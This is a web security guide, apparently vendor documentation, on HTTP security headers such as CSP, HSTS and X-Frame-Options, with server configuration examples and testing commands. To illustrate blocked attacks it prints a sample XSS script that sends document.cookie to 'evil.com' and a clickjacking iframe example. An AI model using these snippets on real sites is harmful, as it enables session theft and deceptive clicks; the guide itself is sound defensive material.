HTTP security headers are response headers that instruct browsers to enable built-in security protections. Headers like Content-Security-Policy, X-Frame-Options, and Strict-Transport-Security defend against XSS, clickjacking, and protocol downgrade attacks by enforcing security policies at the browser level.
How HTTP Security Headers Work
Security headers are sent by the server in HTTP responses before the page content. Browsers parse these headers and activate corresponding security mechanisms before rendering the page, creating a defensive layer that operates independently of application code.
┌──────────────────────────────────────────────────────────────────┐│ Security Header Flow ││ ││ │ ││ │ HTTP/1.1 200 OK ││ │ Content-Security-Policy: default-src 'self' ││ │ X-Frame-Options: DENY ││ │ Strict-Transport-Security: max-age=31536000 ││ │ X-Content-Type-Options: nosniff ││ │ Referrer-Policy: strict-origin-when-cross-origin ││ │ Permissions-Policy: geolocation=() ││ │ ││ ▼ ││ Browser ──▶ Parse headers ──▶ Activate protections ──▶ Render ││ │└──────────────────────────────────────────────────────────────────┘Essential Security Headers
1. Content-Security-Policy (CSP)
Controls which resources the browser is allowed to load, preventing XSS and data injection attacks.
| Directive | Purpose | Example |
|---|---|---|
default-src | Fallback for other directives | 'self' |
script-src | Valid JavaScript sources | 'self' 'unsafe-inline' |
style-src | Valid CSS sources | 'self' 'unsafe-inline' |
img-src | Valid image sources | 'self' data: https: |
connect-src | Valid AJAX/WebSocket endpoints | 'self' api.example.com |
font-src | Valid font sources | 'self' fonts.gstatic.com |
frame-src | Valid iframe sources | 'self' |
object-src | Valid plugin sources | 'none' |
Basic CSP configuration:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'CSP with nonce for inline scripts:
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'<script nonce="abc123def456"> // This inline script is allowed console.log('Secure inline script');</script>CSP with hash:
Content-Security-Policy: script-src 'self' 'sha256-xyz123...'Attack prevented:
<!-- Attacker injects this - BLOCKED by CSP --><script> fetch('https://evil.com/steal?cookie=' + document.cookie);</script>2. Strict-Transport-Security (HSTS)
Forces browsers to use HTTPS for all future requests to the domain, preventing protocol downgrade attacks.
| Directive | Purpose | Example |
|---|---|---|
max-age | Duration in seconds | 31536000 (1 year) |
includeSubDomains | Apply to all subdomains | Optional |
preload | Submit to browser preload lists | Optional |
Basic HSTS:
Strict-Transport-Security: max-age=31536000HSTS with subdomains and preload:
Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadAttack prevented:
Without HSTS: User types: example.com Browser tries: http://example.com (vulnerable to MITM) Attacker intercepts, steals credentials
With HSTS: User types: example.com Browser forces: https://example.com (secure) Attacker cannot intercept3. X-Frame-Options
Prevents the page from being embedded in iframes on other domains, blocking clickjacking attacks.
| Value | Effect |
|---|---|
DENY | Block all framing |
SAMEORIGIN | Allow only same-origin framing |
ALLOW-FROM origin | Allow specific origin (deprecated) |
Recommended configuration:
X-Frame-Options: DENYOr use CSP frame-ancestors (modern approach):
Content-Security-Policy: frame-ancestors 'none'Attack prevented:
<!-- Attacker's site evil.com --><iframe src="https://bank.example.com/transfer" style="opacity: 0.1"> <button style="position: absolute; top: 100px;">Win Prize!</button></iframe><!-- User clicks "Win Prize" but actually clicks bank transfer button --><!-- BLOCKED: Bank page cannot be framed on evil.com -->4. X-Content-Type-Options
Prevents browsers from MIME-sniffing responses away from declared content-type, blocking malicious file uploads.
X-Content-Type-Options: nosniffAttack prevented:
Without nosniff: 1. Attacker uploads "image.jpg" containing JavaScript 2. Server serves with Content-Type: image/jpeg 3. Browser sniffs content, detects JavaScript 4. Browser executes as script → XSS
With nosniff: 1. Browser respects Content-Type: image/jpeg 2. Refuses to execute as script 3. Attack blocked5. Referrer-Policy
Controls how much referrer information is sent with requests.
| Value | Behavior |
|---|---|
no-referrer | Never send referrer |
no-referrer-when-downgrade | No referrer on HTTPS→HTTP |
origin | Send only origin (not full URL) |
origin-when-cross-origin | Full URL same-origin, origin cross-origin |
same-origin | Referrer only for same-origin |
strict-origin | Origin only, no referrer on downgrade |
strict-origin-when-cross-origin | Recommended default |
Recommended configuration:
Referrer-Policy: strict-origin-when-cross-originExample behavior:
User navigates from https://example.com/page1 to https://other.com
strict-origin-when-cross-origin: Referrer: https://example.com (origin only, not full path)
User navigates from https://example.com/page1 to https://example.com/page2
strict-origin-when-cross-origin: Referrer: https://example.com/page1 (full URL)6. Permissions-Policy (formerly Feature-Policy)
Controls which browser features and APIs the page can use.
Common policies:
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()Allow specific origins:
Permissions-Policy: geolocation=(self "https://maps.example.com"), camera=()Features available:
| Feature | Controls |
|---|---|
geolocation | Geolocation API |
microphone | Microphone access |
camera | Camera access |
payment | Payment Request API |
usb | WebUSB API |
magnetometer | Magnetometer API |
gyroscope | Gyroscope API |
accelerometer | Accelerometer API |
fullscreen | Fullscreen API |
picture-in-picture | PiP mode |
sync-xhr | Synchronous XMLHttpRequest |
7. Cross-Origin Policies
Modern headers for controlling cross-origin resource sharing.
Cross-Origin-Opener-Policy (COOP):
Cross-Origin-Opener-Policy: same-originIsolates browsing context, prevents cross-origin window references.
Cross-Origin-Embedder-Policy (COEP):
Cross-Origin-Embedder-Policy: require-corpRequires explicit permission for cross-origin resource loading.
Cross-Origin-Resource-Policy (CORP):
Cross-Origin-Resource-Policy: same-originPrevents cross-origin resource loading entirely.
Use case: Enable SharedArrayBuffer:
Cross-Origin-Opener-Policy: same-originCross-Origin-Embedder-Policy: require-corpSecurity Headers Comparison
| Header | Attack Prevented | Browser Support | Priority |
|---|---|---|---|
| Content-Security-Policy | XSS, injection | All modern | Critical |
| Strict-Transport-Security | MITM, downgrade | All modern | Critical |
| X-Frame-Options | Clickjacking | All | High |
| X-Content-Type-Options | MIME sniffing | All | High |
| Referrer-Policy | Data leakage | All modern | Medium |
| Permissions-Policy | Feature abuse | Modern browsers | Medium |
| Cross-Origin-* | Side-channel attacks | Modern browsers | Advanced |
Implementation Examples
Nginx Configuration
server { listen 443 ssl http2; server_name example.com;
# HSTS add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# Content Security Policy add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" always;
# Frame protection add_header X-Frame-Options "DENY" always;
# MIME sniffing protection add_header X-Content-Type-Options "nosniff" always;
# Referrer policy add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Permissions policy add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;}Apache Configuration
<VirtualHost *:443> ServerName example.com
# HSTS Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
# Content Security Policy Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'"
# Frame protection Header always set X-Frame-Options "DENY"
# MIME sniffing protection Header always set X-Content-Type-Options "nosniff"
# Referrer policy Header always set Referrer-Policy "strict-origin-when-cross-origin"
# Permissions policy Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"</VirtualHost>Express.js Middleware
const helmet = require('helmet');
app.use(helmet());
// Or configure individuallyapp.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.example.com"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:", "https:"], connectSrc: ["'self'"], fontSrc: ["'self'", "https://fonts.gstatic.com"], objectSrc: ["'none'"], frameAncestors: ["'none'"], baseUri: ["'self'"], formAction: ["'self'"] } }));
app.use(helmet.hsts({ maxAge: 63072000, includeSubDomains: true, preload: true}));
app.use(helmet.frameguard({ action: 'deny' }));app.use(helmet.noSniff());app.use(helmet.referrerPolicy({ policy: 'strict-origin-when-cross-origin' }));Next.js Configuration
const securityHeaders = [ { key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' }, { key: 'Content-Security-Policy', value: "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'" }, { key: 'X-Frame-Options', value: 'DENY' }, { key: 'X-Content-Type-Options', value: 'nosniff' }, { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' }, { key: 'Permissions-Policy', value: 'geolocation=(), microphone=(), camera=()' }];
module.exports = { async headers() { return [ { source: '/:path*', headers: securityHeaders } ]; }};Testing Security Headers
Online Tools
| Tool | URL |
|---|---|
| Security Headers | securityheaders.com |
| Mozilla Observatory | observatory.mozilla.org |
| Hardenize | hardenize.com |
| Probely | probely.com |
Command Line Testing
# Check headers with curlcurl -I https://example.com
# Check specific headercurl -sI https://example.com | grep -i "content-security-policy"
# Check all security headerscurl -sI https://example.com | grep -iE "(strict-transport|x-frame|x-content|referrer-policy|permissions-policy|content-security)"JavaScript Testing
// Check if CSP is presentfetch(window.location.href, { method: 'HEAD' }) .then(response => { const csp = response.headers.get('Content-Security-Policy'); const hsts = response.headers.get('Strict-Transport-Security'); const xfo = response.headers.get('X-Frame-Options');
console.log('CSP:', csp || 'MISSING'); console.log('HSTS:', hsts || 'MISSING'); console.log('X-Frame-Options:', xfo || 'MISSING'); });Common Mistakes
| Mistake | Impact | Fix |
|---|---|---|
| Missing CSP | XSS vulnerability | Implement strict CSP |
CSP with unsafe-inline scripts | Reduced XSS protection | Use nonces or hashes |
| Short HSTS max-age | Protection expires after | Use 1 year minimum |
| Missing HSTS on subdomains | Subdomain downgrade attacks | Add includeSubDomains |
Using X-Frame-Options: ALLOW-FROM | Deprecated, unreliable | Use DENY or CSP frame-ancestors |
| Overly permissive CSP | Limited protection | Use 'self' instead of * |
| Missing on error pages | Headers not applied | Use always in Nginx/Apache |
Header Priority Matrix
| Risk Level | Headers Required |
|---|---|
| Critical | HSTS, CSP, X-Frame-Options, X-Content-Type-Options |
| High | Add Referrer-Policy, Permissions-Policy |
| Maximum | Add Cross-Origin-* headers, enforce strict CSP |
When to Use
Essential for:
- All public-facing websites
- Applications handling authentication
- Sites processing sensitive data
- APIs consumed by browsers
- Single-page applications
When to Adjust
CSP considerations:
- SPAs may need
'unsafe-inline'for scripts (use nonces instead) - Third-party integrations require allowed domains
- Development vs. production may differ
HSTS considerations:
- Only enable after HTTPS is fully functional
- Test with short max-age first (e.g., 300)
- Preload is difficult to remove
FAQ
What is the difference between X-Frame-Options and CSP frame-ancestors? X-Frame-Options is older and only supports DENY or SAMEORIGIN. CSP frame-ancestors is more flexible, allowing specific origins. Use CSP for new projects, but keep both for compatibility.
Why does CSP use 'unsafe-inline' and is it safe? 'unsafe-inline' allows inline scripts/styles, which weakens XSS protection. Use nonces or hashes instead for production. Only use 'unsafe-inline' during migration or when nonces aren’t feasible.
How do I test CSP without breaking my site? Use Content-Security-Policy-Report-Only header to log violations without blocking:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reportsCan security headers prevent all XSS attacks? No. CSP significantly reduces XSS risk but cannot prevent DOM-based XSS from same-origin scripts. Combine with output encoding and input validation.
Do security headers affect performance? Minimal impact. HSTS saves redirect time. CSP may block some resources, which is the intended behavior. Headers add ~500 bytes to responses.
Should I use HSTS preload? Only for production domains with stable HTTPS. Preload is difficult to reverse and requires submission to browser vendors. Test thoroughly before enabling.
How to Implement on Azion
Azion’s Edge Application allows configuring security headers globally at the edge:
- Application → Rules Engine - Add security headers to all responses
- Response Headers - Configure CSP, HSTS, X-Frame-Options in Rules
- Functions - Dynamic CSP nonce generation for inline scripts
Example Rules Engine configuration:
Rule: Add Security Headers Condition: Always Behaviors: - Add Response Header: Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" - Add Response Header: X-Frame-Options "DENY" - Add Response Header: X-Content-Type-Options "nosniff" - Add Response Header: Referrer-Policy "strict-origin-when-cross-origin"See: Rules Engine | Functions